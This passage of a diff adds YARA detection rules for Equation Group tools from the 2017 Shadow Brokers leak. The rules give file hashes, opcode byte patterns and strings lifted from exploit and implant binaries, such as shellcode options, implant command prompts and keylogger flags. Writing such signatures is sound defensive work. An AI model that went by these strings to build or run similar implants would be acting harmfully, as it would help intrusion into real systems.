+      hash1 = "f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d"
+      hash2 = "b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b"
+      id = "40066023-ede9-5669-8b4d-a26a693d8818"
+   strings:
+      $x1 = "[-] Error: Exploit choice not supported for target OS!!" fullword ascii
+      $x2 = "Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed" fullword ascii
+      $x3 = "[-] Error: Backdoor not present on target" fullword ascii
+      $x4 = "***********    TARGET ARCHITECTURE IS X64    ************" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them ) or 2 of them
+}
+
+rule EquationGroup_Toolset_Apr17_Gen4 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "fe7ce2fdb245c62e4183c728bc97e966a98fdc8ffd795ed09da23f96e85dcdcd"
+      hash2 = "0989bfe351342a7a1150b676b5fd5cbdbc201b66abcb23137b1c4de77a8f61a6"
+      hash3 = "270850303e662be53d90fa60a9e5f4bd2bfb95f92a046c77278257631d9addf4"
+      hash4 = "7a086c0acb6df1fa304c20733f96e898d21ca787661270f919329fadfb930a6e"
+      hash5 = "c236e0d9c5764f223bd3d99f55bd36528dfc0415e14f5fde1e5cdcada14f4ec0"
+      hash6 = "9d98e044eedc7272823ba8ed80dff372fde7f3d1bece4e5affb21e16f7381eb2"
+      hash7 = "dfce29df4d198c669a87366dd56a7426192481d794f71cd5bb525b08132ed4f7"
+      hash8 = "87fdc6c32b9aa8ae97c7efbbd5c9ae8ec5595079fc1488f433beef658efcb4e9"
+      hash9 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
+      hash10 = "d94b99908f528fa4deb56b11eac29f6a6e244a7b3aac36b11b807f2f74c6d8be"
+      hash11 = "4b07d9d964b2c0231c1db7526237631bb83d0db80b3c9574cc414463703462d3"
+      hash12 = "30b63abde1e871c90df05137ec08df3fa73dedbdb39cb4bd2a2df4ca65bc4e53"
+      hash13 = "02c1b08224b7ad4ac3a5b7b8e3268802ee61c1ec30e93e392fa597ae3acc45f7"
+      hash14 = "690f09859ddc6cd933c56b9597f76e18b62a633f64193a51f76f52f67bc2f7f0"
+      id = "f935c942-02a4-59b3-89ce-e5e3fa1cacda"
+   strings:
+      $x1 = "[+] \"TargetPort\"      %hu" fullword ascii
+      $x2 = "---<<<  Complete  >>>---" fullword ascii
+      $x3 = "[+] \"NetworkTimeout\"  %hu" fullword ascii
+
+      $op1 = { 46 83 c4 0c 83 fe 0c 0f 8c 5e ff ff ff b8 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 150KB and ( 1 of ($x*) or 2 of them ) )
+}
+
+rule EquationGroup_Toolset_Apr17_Gen1 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "1b5b33931eb29733a42d18d8ee85b5cd7d53e81892ff3e60e2e97f3d0b184d31"
+      hash2 = "139697168e4f0a2cc73105205c0ddc90c357df38d93dbade761392184df680c7"
+      id = "98b0a398-7761-5506-bd2f-117c118df11f"
+   strings:
+      $x1 = "Restart with the new protocol, address, and port as target." fullword ascii
+      $x2 = "TargetPort      : %s (%u)" fullword ascii
+      $x3 = "Error: strchr() could not find '@' in account name." fullword ascii
+      $x4 = "TargetAcctPwd   : %s" fullword ascii
+      $x5 = "Creating CURL connection handle..." fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Gen2 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "7fe425cd040608132d4f4ab2671e04b340a102a20c97ffdcf1b75be43a9369b5"
+      hash2 = "561c0d4fc6e0ff0a78613d238c96aed4226fbb7bb9ceea1d19bc770207a6be1e"
+      hash3 = "f2e90e04ddd05fa5f9b2fec024cd07365aebc098593d636038ebc2720700662b"
+      hash4 = "8f7e10a8eedea37ee3222c447410fd5b949bd352d72ef22ef0b2821d9df2f5ba"
+      id = "e47de7dd-8a37-5d0d-9af2-2a30fa000b05"
+   strings:
+      $s1 = "[+] Setting password : (NULL)" fullword ascii
+      $s2 = "[-] TbBuffCpy() failed!" fullword ascii
+      $s3 = "[+] SMB negotiation" fullword ascii
+      $s4 = "12345678-1234-ABCD-EF00-0123456789AB" fullword ascii
+      $s5 = "Value must end with 0000 (2 NULLs)" fullword ascii
+      $s6 = "[*] Configuring Payload" fullword ascii
+      $s7 = "[*] Connecting to listener" fullword ascii
+
+      $op1 = { b0 42 40 00 89 44 24 30 c7 44 24 34 }
+      $op2 = { eb 59 8b 4c 24 10 68 1c 46 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and 1 of ($s*) and 1 of ($op*) ) or 3 of them
+}
+
+rule EquationGroup_Toolset_Apr17_Gen3 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "270850303e662be53d90fa60a9e5f4bd2bfb95f92a046c77278257631d9addf4"
+      hash2 = "7a086c0acb6df1fa304c20733f96e898d21ca787661270f919329fadfb930a6e"
+      hash3 = "c236e0d9c5764f223bd3d99f55bd36528dfc0415e14f5fde1e5cdcada14f4ec0"
+      hash4 = "9d98e044eedc7272823ba8ed80dff372fde7f3d1bece4e5affb21e16f7381eb2"
+      hash5 = "dfce29df4d198c669a87366dd56a7426192481d794f71cd5bb525b08132ed4f7"
+      hash6 = "87fdc6c32b9aa8ae97c7efbbd5c9ae8ec5595079fc1488f433beef658efcb4e9"
+      hash7 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
+      hash8 = "d94b99908f528fa4deb56b11eac29f6a6e244a7b3aac36b11b807f2f74c6d8be"
+      hash9 = "4b07d9d964b2c0231c1db7526237631bb83d0db80b3c9574cc414463703462d3"
+      hash10 = "30b63abde1e871c90df05137ec08df3fa73dedbdb39cb4bd2a2df4ca65bc4e53"
+      hash11 = "02c1b08224b7ad4ac3a5b7b8e3268802ee61c1ec30e93e392fa597ae3acc45f7"
+      hash12 = "690f09859ddc6cd933c56b9597f76e18b62a633f64193a51f76f52f67bc2f7f0"
+      id = "7951fac1-9d5f-5991-a19a-88f3c8402e39"
+   strings:
+      $s1 = "Logon failed.  Kerberos ticket not yet valid (target and KDC times not synchronized)" fullword ascii
+      $s2 = "[-] Could not set \"CredentialType\"" fullword ascii
+
+      $op1 = { 46 83 c4 0c 83 fe 0c 0f 8c 5e ff ff ff b8 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 150KB and 2 of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-15
+   Identifier: Equation Group Tools - Resource Folder
+   Reference: https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EquationGroup_Toolset_Apr17_yak {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "66ff332f84690642f4e05891a15bf0c9783be2a64edb2ef2d04c9205b47deb19"
+      id = "e5562d1a-7980-5fb8-b098-2e26003fb159"
+   strings:
+      $x1 = "-xd = dump archive data & store in scancodes.txt" fullword ascii
+      $x2 = "-------- driver start token -------" fullword wide
+      $x3 = "-------- keystart token -------" fullword wide
+      $x4 = "-xta = same as -xt but show special chars & store in keys_all.txt" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 800KB and 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_AdUser_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "fd2efb226969bc82e2e38769a10a8a751138db69f4594a8de4b3c0522d4d885f"
+      id = "4ba152c8-aa81-5558-8ad3-c62aa3231dab"
+   strings:
+      $s1 = ".?AVFeFinallyFailure@@" fullword ascii
+      $s2 = "(&(objectCategory=person)(objectClass=user)(cn=" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 40KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_RemoteExecute_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "770663c07c519677316934cf482e500a73540d9933342c425f3e56258e6e6d8b"
+      id = "5fa5ff71-42fa-58e2-a826-341fb73ea08a"
+   strings:
+      $op1 = { 53 00 63 00 68 00 65 00 64 00 75 00 6C 00 65 00
+               00 00 00 00 53 00 65 00 72 00 76 00 69 00 63 00
+               65 00 73 00 41 00 63 00 74 00 69 00 76 00 65 00
+               00 00 00 00 FF FF FF FF 00 00 00 00 B0 17 00 68
+               5C 00 70 00 69 00 70 00 65 00 5C 00 53 00 65 00
+               63 00 6F 00 6E 00 64 00 61 00 72 00 79 00 4C 00
+               6F 00 67 00 6F 00 6E 00 00 00 00 00 5C 00 00 00
+               57 00 69 00 6E 00 53 00 74 00 61 00 30 00 5C 00
+               44 00 65 00 66 00 61 00 75 00 6C 00 74 00 00 00
+               6E 00 63 00 61 00 63 00 6E 00 5F 00 6E 00 70 00
+               00 00 00 00 5C 00 70 00 69 00 70 00 65 00 5C 00
+               53 00 45 00 43 00 4C 00 4F 00 47 00 4F 00 4E }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 40KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Banner_Implant9x {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "5d69a8cfc9b636448f023fcf18d111f13a8e6bcb9a693eb96276e0d796ab4e0c"
+      id = "7cbb509e-2a91-5e3c-8d19-61fda797cd8c"
+   strings:
+      $s1 = ".?AVFeFinallyFailure@@" fullword ascii
+
+      $op1 = { c9 c3 57 8d 85 2c eb ff ff }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 20KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_greatdoc_dll_config {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "fd9d0abfa727784dd07562656967d220286fc0d63bcf7e2c35d4c02bc2e5fc2e"
+      id = "592e4e40-f5cd-5a11-8a1b-0cdcf6f267ec"
+   strings:
+      $x1 = "C:\\Projects\\GREATERDOCTOR\\trunk\\GREATERDOCTOR" ascii
+      $x2 = "src\\build\\Release\\dllConfig\\dllConfig.pdb" ascii
+      $x3 = "GREATERDOCTOR [ commandline args configuration ]" fullword ascii
+      $x4 = "-useage: <scanner> \"<cmdline args>\"" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_scanner {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "f180bdb247687ea9f1b58aded225d5c80a13327422cd1e0515ea891166372c53"
+      id = "603c82d0-2e65-5353-a109-5f69697cffa4"
+   strings:
+      $x1 = "+daemon_version,system,processor,refid,clock" fullword ascii
+      $x2 = "Usage: %s typeofscan IP_address" fullword ascii
+      $x3 = "# scanning ip  %d.%d.%d.%d" fullword ascii
+      $x4 = "Welcome to the network scanning tool" fullword ascii
+      $x5 = "***** %s ***** (length %d)" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 90KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Mcl_NtMemory_Std {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "087db4f2dbf8e0679de421fec8fb2e6dd50625112eb232e4acc1408cc0bcd2d7"
+      id = "608218a8-7642-5ec4-8c07-87248649f022"
+   strings:
+      $op1 = { 44 24 37 50 c6 44 24 38 72 c6 44 }
+      $op2 = { 44 24 33 6f c6 44 24 34 77 c6 }
+      $op3 = { 3b 65 c6 44 24 3c 73 c6 44 24 3d 73 c6 44 24 3e }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_tacothief {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "c71953cc84c27dc61df8f6f452c870a7880a204e9e21d9fd006a5c023b052b35"
+      id = "7be7ca05-c2c7-5a7d-8b1b-e6741b4397b9"
+   strings:
+      $x1 = "File too large!  Must be less than 655360 bytes." fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_ntevt {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "4254ee5e688fc09bdc72bcc9c51b1524a2bb25a9fb841feaf03bc7ec1a9975bf"
+      id = "fd25f703-ff3e-5e75-b1eb-24a658a1ac8e"
+   strings:
+      $x1 = "c:\\ntevt.pdb" fullword ascii
+
+      $s1 = "ARASPVU" fullword ascii
+
+      $op1 = { 41 5a 41 59 41 58 5f 5e 5d 5a 59 5b 58 48 83 c4 }
+      $op2 = { f9 48 03 fa 48 33 c0 8a 01 49 03 c1 49 f7 e0 88 }
+      $op3 = { 01 41 f6 e0 49 03 c1 88 01 48 33 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 700KB and $x1 or 3 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Processes_Target {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "69cf7643dbecc5f9b4b29edfda6c0295bc782f0e438f19be8338426f30b4cc74"
+      id = "1b910f46-5d19-5ecd-9647-10ee9ee7b012"
+   strings:
+      $s1 = "Select * from Win32_Process" fullword ascii
+      $s3 = "\\\\%ls\\root\\cimv2" fullword wide
+      $s5 = "%4ls%2ls%2ls%2ls%2ls%2ls.%11l[0-9]%1l[+-]%6s" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_st_lp {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "3b6f756cca096548dcad2b6c241c1dafd16806c060bec82a530f4d38755286a2"
+      id = "2d4ee801-c7f4-5476-8368-89aa2863ba96"
+   strings:
+      $x1 = "Previous command: set injection processes (status=0x%x)" fullword ascii
+      $x2 = "Secondary injection process is <null> [no secondary process will be used]" fullword ascii
+      $x3 = "Enter the address to be used as the spoofed IP source address (xxx.xxx.xxx.xxx) -> " fullword ascii
+      $x4 = "E: Execute a Command on the Implant" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_EpWrapper {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "a8eed17665ee22198670e22458eb8c9028ff77130788f24f44986cce6cebff8d"
+      id = "81b72f7f-ba5a-5f45-b77c-071cfb4571d3"
+   strings:
+      $x1 = "* Failed to get remote TCP socket address" fullword wide
+      $x2 = "* Failed to get 'LPStart' export" fullword wide
+      $s5 = "Usage: %ls <logdir> <dll_search_path> <dll_to_load_path> <socket>" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 20KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_DiBa_Target_2000 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "f9ea8ff5985b94f635d03f3aab9ad4fb4e8c2ad931137dba4f8ee8a809421b91"
+      id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"
+   strings:
+      $s1 = "0M1U1Z1p1" fullword ascii
+
+      $op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
+      $op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
+      $op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and 3 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_DllLoad_Target {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "a42d5201af655e43cefef30d7511697e6faa2469dc4a74bc10aa060b522a1cf5"
+      id = "9def0814-c86a-5fae-abc2-4185596a74aa"
+   strings:
+      $s1 = "BzWKJD+" fullword ascii
+
+      $op1 = { 44 24 6c 6c 88 5c 24 6d }
+      $op2 = { 44 24 54 63 c6 44 24 55 74 c6 44 24 56 69 }
+      $op3 = { 44 24 5c 6c c6 44 24 5d 65 c6 44 24 5e }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_EXPA {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "2017176d3b5731a188eca1b71c50fb938c19d6260c9ff58c7c9534e317d315f8"
+      id = "106efe9b-f70f-51cf-bbb2-b9bf61df1dd1"
+   strings:
+      $x1 = "* The target is IIS 6.0 but is not running content indexing servicess," fullword ascii
+      $x2 = "--ver 6 --sp <service_pack> --lang <language> --attack shellcode_option[s]sL" fullword ascii
+      $x3 = "By default, the shellcode will attempt to immediately connect s$" fullword ascii
+      $x4 = "UNEXPECTED SHELLCODE CONFIGURATION ERRORs" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 12000KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_RemoteExecute_Target {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "4a649ca8da7b5499821a768c650a397216cdc95d826862bf30fcc4725ce8587f"
+      id = "608e5244-2d3f-573c-a0de-44637051f4ba"
+   strings:
+      $s1 = "Win32_Process" fullword ascii
+      $s2 = "\\\\%ls\\root\\cimv2" fullword wide
+
+      $op1 = { 83 7b 18 01 75 12 83 63 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_DS_ParseLogs {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "0228691d63038b072cdbf50782990d505507757efbfa87655bb2182cf6375956"
+      id = "1906c0fc-3fbc-5995-8789-f1c02e574672"
+   strings:
+      $x1 = "* Size (%d) of remaining capture file is too small to contain a valid header" fullword wide
+      $x2 = "* Capture header not found at start of buffer" fullword wide
+      $x3 = "Usage: %ws <capture_file> <results_prefix>" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Oracle_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "8e9be4960c62ed7f210ce08f291e410ce0929cd3a86fe70315d7222e3df4587e"
+      id = "6ff4cd21-1060-5901-842e-c04bde4f16ec"
+   strings:
+      $op0 = { fe ff ff ff 48 89 9c 24 80 21 00 00 48 89 ac 24 }
+      $op1 = { e9 34 11 00 00 b8 3e 01 00 00 e9 2a 11 00 00 b8 }
+      $op2 = { 48 8b ca e8 bf 84 00 00 4c 8b e0 8d 34 00 44 8d }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_DmGz_Target {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "5964966041f93d5d0fb63ce4a85cf9f7a73845065e10519b0947d4a065fdbdf2"
+      id = "182a2488-ac3f-5dc6-aa61-d6d267574d10"
+   strings:
+      $s1 = "\\\\.\\%ls" fullword ascii
+      $s3 = "6\"6<6C6H6M6Z6f6t6" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_SetResourceName {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "537793d5158aecd0debae25416450bd885725adfc8ca53b0577a3df4b0222e2e"
+      id = "dc261147-3b52-57c3-9729-2645a0999a99"
+   strings:
+      $x1 = "Updates the name of the dll or executable in the resource file" fullword ascii
+      $x2 = "*NOTE: SetResourceName does not work with PeddleCheap versions" fullword ascii
+      $x3 = "2 = [appinit.dll] level4 dll" fullword ascii
+      $x4 = "1 = [spcss32.exe] level3 exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_drivers_Implant {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "ee8b048f1c6ba821d92c15d614c2d937c32aeda7b7ea0943fd4f640b57b1c1ab"
+      id = "727a0a8c-0019-53e9-9632-c610299305fc"
+   strings:
+      $s1 = ".?AVFeFinallyFailure@@" fullword ascii
+      $s2 = "hZwLoadDriver" fullword ascii
+
+      $op1 = { b0 01 e8 58 04 00 00 c3 33 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 30KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Shares_Target {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "6c57fb33c5e7d2dee415ae6168c9c3e0decca41ffe023ff13056ff37609235cb"
+      id = "51245be4-6d24-57e4-8c92-c8c1ae5e3cf9"
+   strings:
+      $s1 = "Select * from Win32_Share" fullword ascii
+      $s2 = "slocalhost" fullword wide
+      $s3 = "\\\\%ls\\root\\cimv2" fullword wide
+      $s4 = "\\\\%ls\\%ls" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_ntfltmgr {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "3df61b8ef42a995b8f15a0d38bc51f2f08f8d9a2afa1afc94c6f80671cf4a124"
+      hash2 = "f7a886ee10ee6f9c6be48c20f370514be62a3fd2da828b0dff44ff3d485ff5c5"
+      hash3 = "980954a2440122da5840b31af7e032e8a25b0ce43e071ceb023cca21cedb2c43"
+      id = "402b14f5-4a7a-58fb-8f4a-0a29d6d34440"
+   strings:
+      $s3 = "wCw3wDwAw2wNw@wEwZw2wDwEwBwZwFwFw4w2wZw5w1w4wFwZwGwOwGwGwEw5w2wFwGwDwFwOw" fullword ascii
+      $s6 = "w+w;w2w0w6w4w.w(wRw" fullword ascii
+
+      $op1 = { 80 f7 ff ff 49 89 84 34 18 02 00 00 41 83 a4 34 }
+      $op2 = { ff 15 0b 34 00 00 eb 92 }
+      $op3 = { 4d 8d b4 34 08 02 00 00 4d 85 f6 0f 84 ae }
+      $op4 = { 8b ca 2b ce 8d 34 01 0f b7 3e 66 3b 7d f0 89 75 }
+      $op5 = { 8a 40 01 00 c7 47 70 }
+      $op6 = { e9 3c ff ff ff 6a ff 8d 45 f0 50 e8 27 11 00 00 }
+      $op7 = { 8b 45 08 53 57 8b 7d 0c c7 40 34 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 4 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_DiBa_Target_BH {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
